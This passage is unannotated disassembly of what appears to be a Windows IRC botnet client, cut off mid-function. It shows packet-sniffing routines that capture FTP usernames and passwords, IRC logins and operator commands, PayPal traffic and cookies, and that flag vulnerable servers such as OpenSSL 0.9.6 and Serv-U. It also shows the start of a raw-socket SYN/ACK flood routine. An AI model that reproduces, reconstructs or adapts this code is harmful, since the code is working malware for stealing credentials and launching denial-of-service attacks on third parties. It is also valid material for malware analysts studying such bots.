		mov	[ebp+74h+Dst], 2
		call	dword_444260	; htons
		push	[ebp+74h+var_B4]
		mov	[ebp+74h+var_1A], ax
		call	sub_4023C9
		pop	ecx
		push	eax
		call	dword_44417C	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp+74h+var_18], eax
		call	dword_444100	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp+74h+var_4], ebx
		jnz	short loc_414F93
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_4353AC ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_28], esi
		jnz	short loc_414F79
		push	esi		; int
		push	[ebp+74h+var_2C] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B0]
		push	eax		; Str
		push	[ebp+74h+var_B4] ; int
		call	sub_40123B
		add	esp, 14h


loc_414F79:				; CODE XREF: sub_414ECA+93j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		push	[ebp+74h+var_30]
		call	sub_40B149
		pop	ecx
		jmp	loc_415195
; ---------------------------------------------------------------------------


loc_414F93:				; CODE XREF: sub_414ECA+73j
		mov	eax, [ebp+74h+var_30]
		imul	eax, 234h
		mov	dword_4444F4[eax], ebx
		push	10h
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	ebx
		call	dword_4441E4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414FDD
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	offset asc_435380 ; "-"


loc_414FC0:				; CODE XREF: sub_414ECA+13Ej
		lea	eax, [ebp+74h+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_28], esi
		jnz	loc_415179
		jmp	loc_41515F
; ---------------------------------------------------------------------------


loc_414FDD:				; CODE XREF: sub_414ECA+E8j
		push	esi
		push	esi
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	esi
		push	esi
		push	4
		lea	eax, [ebp+74h+var_8]
		push	eax
		push	98000001h
		push	ebx
		call	dword_4441E0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41500A
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	offset dword_435350
		jmp	short loc_414FC0
; ---------------------------------------------------------------------------


loc_41500A:				; CODE XREF: sub_414ECA+130j
		mov	edi, 0FFFFh
		jmp	loc_415110
; ---------------------------------------------------------------------------


loc_415014:				; CODE XREF: sub_414ECA+26Aj
		cmp	[ebp+74h+var_102AB], 6
		jnz	loc_415110
		cmp	[ebp+74h+var_10293], 18h
		mov	eax, [ebp+74h+var_102A8]
		mov	[ebp+74h+var_C], eax
		jnz	loc_415110
		lea	eax, [ebp+74h+Str]
		push	offset aPsniff_0 ; "[PSNIFF]"
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_415110
		lea	eax, [ebp+74h+Str]
		push	offset asc_435334 ; "-"
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_415110
		mov	eax, offset a_login ; ":.login"
		xor	ebx, ebx
		mov	[ebp+74h+arg_0], eax


loc_415077:				; CODE XREF: sub_414ECA+1C8j
		push	eax		; SubStr
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415096
		inc	ebx
		add	[ebp+74h+arg_0], 18h
		mov	eax, [ebp+74h+arg_0]
		jnz	short loc_415077
		jmp	short loc_41510D
; ---------------------------------------------------------------------------


loc_415096:				; CODE XREF: sub_414ECA+1BEj
		lea	eax, [ebp+74h+Str]
		push	eax
		push	[ebp+74h+var_102A0]
		call	dword_444200	; htons
		movzx	eax, ax
		push	eax
		push	[ebp+74h+var_C]
		call	dword_444188	; inet_ntoa
		push	eax
		lea	eax, [ebx+ebx*2]
		mov	eax, dword_442254[eax*8]
		push	off_442230[eax*4]
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435300 ; "-"
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		cmp	[ebp+74h+var_28], esi
		jnz	short loc_415100
		push	esi		; int
		push	[ebp+74h+var_2C] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B0]
		push	eax		; Str
		push	[ebp+74h+var_B4] ; int
		call	sub_40123B
		add	esp, 14h


loc_415100:				; CODE XREF: sub_414ECA+21Aj
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		pop	ecx


loc_41510D:				; CODE XREF: sub_414ECA+1CAj
		mov	ebx, [ebp+74h+var_4]


loc_415110:				; CODE XREF: sub_414ECA+145j
					; sub_414ECA+151j ...
		push	edi		; Size
		lea	eax, [ebp+74h+var_102B4]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	esi
		push	edi
		lea	eax, [ebp+74h+var_102B4]
		push	eax
		push	ebx
		call	dword_444064	; recv
		cmp	eax, 0FFFFFFFFh
		jnz	loc_415014
		call	dword_4441C4	; WSAGetLastError
		push	eax
		push	offset asc_4352D4 ; "-"
		lea	eax, [ebp+74h+Dest]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		cmp	[ebp+74h+var_28], esi
		jnz	short loc_415179


loc_41515F:				; CODE XREF: sub_414ECA+10Ej
		push	esi		; int
		push	[ebp+74h+var_2C] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B0]
		push	eax		; Str
		push	[ebp+74h+var_B4] ; int
		call	sub_40123B
		add	esp, 14h


loc_415179:				; CODE XREF: sub_414ECA+108j
					; sub_414ECA+293j
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		push	ebx
		call	dword_444218	; closesocket
		push	[ebp+74h+var_30]
		call	sub_40B149


loc_415195:				; CODE XREF: sub_414ECA+C4j
		pop	ecx
		push	esi
		call	ds:dword_42B068	; ExitThread
		int	3		; Trap to Debugger
sub_414ECA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41519E(char *Str)

sub_41519E	proc near		; CODE XREF: sub_41549E+271p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4151B8


loc_4151B4:				; CODE XREF: sub_41519E+29j
					; sub_41519E+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4151B8:				; CODE XREF: sub_41519E+14j
		push	offset a_fast_	; "#.fast.#"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151B4
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151B4
		push	offset aPsniff_2 ; "PSNIFF//"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151B4
		push	offset aJoin_0	; "JOIN	#"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_415200


loc_4151FC:				; CODE XREF: sub_41519E+71j
					; sub_41519E+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415200:				; CODE XREF: sub_41519E+5Cj
		push	offset a302	; "302 "
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151FC
		push	offset a366	; "366 "
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151FC
		push	offset a_login_0 ; ":.login"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151FC
		push	offset aLogin_0	; ":!login"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151FC
		push	offset aLogin_1	; ":!Login"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151FC
		push	offset a_login_1 ; ":.Login"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151FC
		push	offset a_ident	; ":.ident"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4151FC
		push	offset aIdent_0	; ":!ident"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4151FC
		push	offset a_hashin	; ":.hashin"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4151FC
		push	offset aHashin	; ":!hashin"
		push	esi		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		setnz	al
		pop	esi
		retn
sub_41519E	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4152B5(char *Str)

sub_4152B5	proc near		; CODE XREF: sub_41549E:loc_41573Cp

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4152CF


loc_4152CB:				; CODE XREF: sub_4152B5+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4152CF:				; CODE XREF: sub_4152B5+14j
		push	offset a_fast_	; "#.fast.#"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4152CB
		push	offset aOper	; "OPER	"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4152F5


loc_4152F1:				; CODE XREF: sub_4152B5+4Fj
					; sub_4152B5+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4152F5:				; CODE XREF: sub_4152B5+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4152F1
		push	offset aOper_0	; "oper	"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4152F1
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		setnz	al
		pop	esi
		retn
sub_4152B5	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_41532B(char *Str)

sub_41532B	proc near		; CODE XREF: sub_41549E:loc_415766p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_415345


loc_415341:				; CODE XREF: sub_41532B+29j
					; sub_41532B+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415345:				; CODE XREF: sub_41532B+14j
		push	offset a_fast_	; "#.fast.#"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415341
		push	offset aNick_1	; "NICK	"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415341
		push	offset a220	; "220 "
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41537C


loc_415378:				; CODE XREF: sub_41532B+60j
					; sub_41532B+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41537C:				; CODE XREF: sub_41532B+4Bj
		push	offset a230	; "230 "
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415378
		push	offset aUser_2	; "USER	"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415378
		push	offset aPass_1	; "PASS	"
		push	esi		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		setnz	al
		pop	esi
		retn
sub_41532B	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4153B2(char *Str)

sub_4153B2	proc near		; CODE XREF: sub_41549E+2F9p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4153CC


loc_4153C8:				; CODE XREF: sub_4153B2+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4153CC:				; CODE XREF: sub_4153B2+14j
		push	offset a_fast_	; "#.fast.#"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4153C8
		push	offset aPaypal	; "paypal"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_4153F2


loc_4153EE:				; CODE XREF: sub_4153B2+4Fj
					; sub_4153B2+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4153F2:				; CODE XREF: sub_4153B2+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4153EE
		push	offset aPaypal_com ; "PAYPAL.COM"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4153EE
		push	offset aPaypal_com_0 ; "paypal.com"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4153EE
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		setnz	al
		pop	esi
		retn
sub_4153B2	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_415439(char *Str)

sub_415439	proc near		; CODE XREF: sub_41549E:loc_4157F7p

Str		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+Str]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_415453


loc_41544F:				; CODE XREF: sub_415439+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415453:				; CODE XREF: sub_415439+14j
		push	offset a_fast_	; "#.fast.#"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41544F
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_415479


loc_415475:				; CODE XREF: sub_415439+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415479:				; CODE XREF: sub_415439+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi		; Str
		call	_strstr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415475
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi		; Str
		call	_strstr
		pop	ecx
		pop	ecx
		test	eax, eax
		setnz	al
		pop	esi
		retn
sub_415439	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_41549E	proc near		; DATA XREF: sub_40274D+3F80o

Dst		= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
Str		= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
Dest		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	eax, 113B8h
		lea	ebp, [esp-74h]
		call	__alloca_probe
		mov	eax, [ebp+74h+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+74h+var_B8]
		rep movsd
		xor	esi, esi
		push	3Fh
		inc	esi
		mov	[eax+90h], esi
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		mov	[ebp+74h+var_3B8], bl
		lea	edi, [ebp+74h+var_3B7]
		rep stosd
		stosw
		push	0FFh
		lea	eax, [ebp+74h+var_3B8]
		push	eax
		mov	[ebp+74h+var_20], 2
		mov	[ebp+74h+var_1E], bx
		mov	[ebp+74h+var_1C], ebx
		call	dword_444220	; gethostname
		lea	eax, [ebp+74h+var_3B8]
		push	eax
		call	dword_444168	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx		; Size
		push	dword ptr [eax]	; Src
		lea	eax, [ebp+74h+var_8]
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+74h+var_8]
		add	esp, 0Ch
		push	ebx
		push	3
		push	2
		mov	[ebp+74h+var_1C], eax
		call	dword_444100	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+74h+var_10], edi
		jnz	short loc_415546
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	ebp, 74h
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_415546:				; CODE XREF: sub_41549E+9Aj
		push	10h
		lea	eax, [ebp+74h+var_20]
		push	eax
		push	edi
		call	dword_4441E4	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41557A
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435680 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_2C], ebx
		jnz	short loc_4155D6
		jmp	short loc_4155BC
; ---------------------------------------------------------------------------


loc_41557A:				; CODE XREF: sub_41549E+B8j
		push	ebx
		push	ebx
		lea	eax, [ebp+74h+var_24]
		push	eax
		push	ebx
		push	ebx
		push	4
		lea	eax, [ebp+74h+var_C]
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+74h+var_C], esi
		call	dword_4441E0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4155FA
		call	dword_4441C4	; WSAGetLastError
		push	eax
		lea	eax, [ebp+74h+Dest]
		push	offset asc_435650 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+74h+var_2C], ebx
		jnz	short loc_4155D6


loc_4155BC:				; CODE XREF: sub_41549E+DAj
		push	ebx		; int
		push	[ebp+74h+var_30] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B4]
		push	eax		; Str
		push	[ebp+74h+var_B8] ; int
		call	sub_40123B
		add	esp, 14h


loc_4155D6:				; CODE XREF: sub_41549E+D8j
					; sub_41549E+11Cj
		lea	eax, [ebp+74h+Dest]
		push	eax
		call	sub_417D70
		pop	ecx
		push	edi
		call	dword_444218	; closesocket
		push	[ebp+74h+var_34]
		call	sub_40B149
		pop	ecx
		push	ebx
		call	ds:dword_42B068	; ExitThread


loc_4155FA:				; CODE XREF: sub_41549E+FCj
		mov	esi, 200h


loc_4155FF:				; CODE XREF: sub_41549E+190j
					; sub_41549E+1B6j ...
		mov	edi, 0FFFFh
		push	edi		; Size
		lea	eax, [ebp+74h+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		push	ebx
		push	edi
		lea	eax, [ebp+74h+Dst]
		push	eax
		push	[ebp+74h+var_10]
		call	dword_444064	; recv
		cmp	[ebp+74h+var_113AF], 6
		jnz	short loc_4155FF
		push	[ebp+74h+var_113A4]
		call	ds:dword_42B1D8	; htons
		push	[ebp+74h+var_113A4+2]
		movzx	edi, ax
		call	ds:dword_42B1D8	; htons
		cmp	edi, 6Eh
		movzx	eax, ax
		mov	[ebp+74h+arg_0], eax
		jz	short loc_4155FF
		cmp	edi, 19h
		jz	short loc_4155FF
		cmp	eax, 6Eh
		jz	short loc_4155FF
		cmp	eax, 19h
		jz	short loc_4155FF
		mov	eax, [ebp+74h+var_113AC]
		push	eax
		mov	dword_4D5270, eax
		call	ds:dword_42B1DC	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_13B8]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		mov	eax, [ebp+74h+var_113A8]
		add	esp, 0Ch
		push	eax
		mov	dword_4D5270, eax
		call	ds:dword_42B1DC	; inet_ntoa
		push	eax
		lea	eax, [ebp+74h+var_BB8]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		mov	[ebp+74h+var_4], ebx
		call	_strlen
		add	esp, 10h
		test	eax, eax
		jle	short loc_4156F5


loc_4156C6:				; CODE XREF: sub_41549E+255j
		mov	eax, [ebp+74h+var_4]
		lea	eax, [ebp+eax+74h+Str]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_4156D8
		mov	byte ptr [eax],	20h


loc_4156D8:				; CODE XREF: sub_41549E+235j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4156E0
		mov	byte ptr [eax],	20h


loc_4156E0:				; CODE XREF: sub_41549E+23Dj
		inc	[ebp+74h+var_4]
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	_strlen
		cmp	[ebp+74h+var_4], eax
		pop	ecx
		jl	short loc_4156C6


loc_4156F5:				; CODE XREF: sub_41549E+226j
		cmp	edi, 50h
		jz	loc_415790
		cmp	[ebp+74h+arg_0], 50h
		jz	loc_415790
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	sub_41519E
		test	al, al
		pop	ecx
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		jz	short loc_41573C
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_BB8]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_13B8]
		push	eax
		push	offset unk_43561C
		jmp	loc_4157BF
; ---------------------------------------------------------------------------


loc_41573C:				; CODE XREF: sub_41549E+280j
		call	sub_4152B5
		test	al, al
		pop	ecx
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		jz	short loc_415766
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_BB8]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_13B8]
		push	eax
		push	offset unk_4355E8
		jmp	short loc_4157BF
; ---------------------------------------------------------------------------


loc_415766:				; CODE XREF: sub_41549E+2ADj
		call	sub_41532B
		test	al, al
		pop	ecx
		jz	short loc_415790
		lea	eax, [ebp+74h+Str]
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_BB8]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_13B8]
		push	eax
		push	offset unk_4355B4
		jmp	short loc_4157BF
; ---------------------------------------------------------------------------


loc_415790:				; CODE XREF: sub_41549E+25Aj
					; sub_41549E+264j ...
		lea	eax, [ebp+74h+Str]
		push	eax		; Str
		call	sub_4153B2
		test	al, al
		pop	ecx
		lea	eax, [ebp+74h+Str]
		push	eax
		jz	short loc_4157F7
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_BB8]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_13B8]
		push	eax
		push	offset asc_43557C ; "-"


loc_4157BF:				; CODE XREF: sub_41549E+299j
					; sub_41549E+2C6j ...
		lea	eax, [ebp+74h+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h
		cmp	[ebp+74h+var_2C], ebx
		jnz	loc_4155FF
		push	ebx		; int
		push	[ebp+74h+var_30] ; int
		lea	eax, [ebp+74h+Dest]
		push	eax		; int
		lea	eax, [ebp+74h+var_B4]
		push	eax		; Str
		push	[ebp+74h+var_B8] ; int
		call	sub_40123B
		add	esp, 14h
		jmp	loc_4155FF
; ---------------------------------------------------------------------------


loc_4157F7:				; CODE XREF: sub_41549E+308j
		call	sub_415439
		test	al, al
		pop	ecx
		jz	loc_4155FF
		lea	eax, [ebp+74h+Str]
		push	eax
		push	[ebp+74h+arg_0]
		lea	eax, [ebp+74h+var_BB8]
		push	eax
		push	edi
		lea	eax, [ebp+74h+var_13B8]
		push	eax
		push	offset unk_435544
		jmp	short loc_4157BF
sub_41549E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=64h

; int __cdecl sub_415825(int,int,char *Str1,int,int)

sub_415825	proc near		; CODE XREF: sub_415B7C+40p

var_288		= byte ptr -288h
Dest		= byte ptr -0F8h
var_B8		= word ptr -0B8h
var_B6		= word ptr -0B6h
var_B4		= dword	ptr -0B4h
var_A8		= byte ptr -0A8h
var_A7		= byte ptr -0A7h
var_94		= byte ptr -94h
var_88		= byte ptr -88h
Dst		= byte ptr -80h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
Src		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_5B		= byte ptr -5Bh
var_5A		= word ptr -5Ah
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str1		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		lea	ebp, [esp-64h]
		sub	esp, 288h
		push	ebx
		push	edi
		push	0Eh
		pop	ecx
		xor	eax, eax
		xor	ebx, ebx
		mov	[ebp+64h+var_A8], bl
		lea	edi, [ebp+64h+var_A7]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+64h+var_288]
		push	eax
		push	202h
		call	dword_444110	; WSAStartup
		test	eax, eax
		jz	short loc_415861
		xor	eax, eax
		jmp	loc_415B75
; ---------------------------------------------------------------------------


loc_415861:				; CODE XREF: sub_415825+33j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_444074	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+64h+var_18], eax
		jz	loc_415B6D
		push	4
		lea	ecx, [ebp+64h+var_44]
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+64h+var_44], edi
		call	dword_444120	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_415B64
		push	esi
		push	[ebp+64h+arg_C]
		mov	[ebp+64h+var_B8], 2
		call	dword_444260	; htons
		mov	esi, [ebp+64h+arg_0]
		push	28h
		mov	[ebp+64h+var_B6], ax
		mov	[ebp+64h+var_B4], esi
		mov	[ebp+64h+var_2C], 45h
		call	dword_444260	; htons
		push	[ebp+64h+arg_C]
		mov	[ebp+64h+var_2A], ax
		mov	[ebp+64h+var_28], di
		mov	[ebp+64h+var_26], bx
		mov	[ebp+64h+var_24], 80h
		mov	[ebp+64h+var_23], 6
		mov	[ebp+64h+var_22], bx
		mov	[ebp+64h+var_1C], esi
		call	dword_444260	; htons
		mov	[ebp+64h+var_12], ax
		call	_rand
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_444260	; htons
		push	12345678h
		mov	[ebp+64h+var_14], ax
		call	dword_444234	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		push	[ebp+64h+Str1]	; Str1
		mov	[ebp+64h+var_10], eax
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415931
		mov	[ebp+64h+var_C], ebx
		mov	[ebp+64h+var_7], 2
		jmp	short loc_415985
; ---------------------------------------------------------------------------


loc_415931:				; CODE XREF: sub_415825+101j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+64h+Str1]	; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41594D
		mov	[ebp+64h+var_C], ebx
		mov	[ebp+64h+var_7], 10h
		jmp	short loc_415985
; ---------------------------------------------------------------------------


loc_41594D:				; CODE XREF: sub_415825+11Dj
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+64h+Str1]	; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_415985
		call	_rand
		cdq
		push	3
		pop	ecx
		idiv	ecx
		mov	[ebp+64h+var_C], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
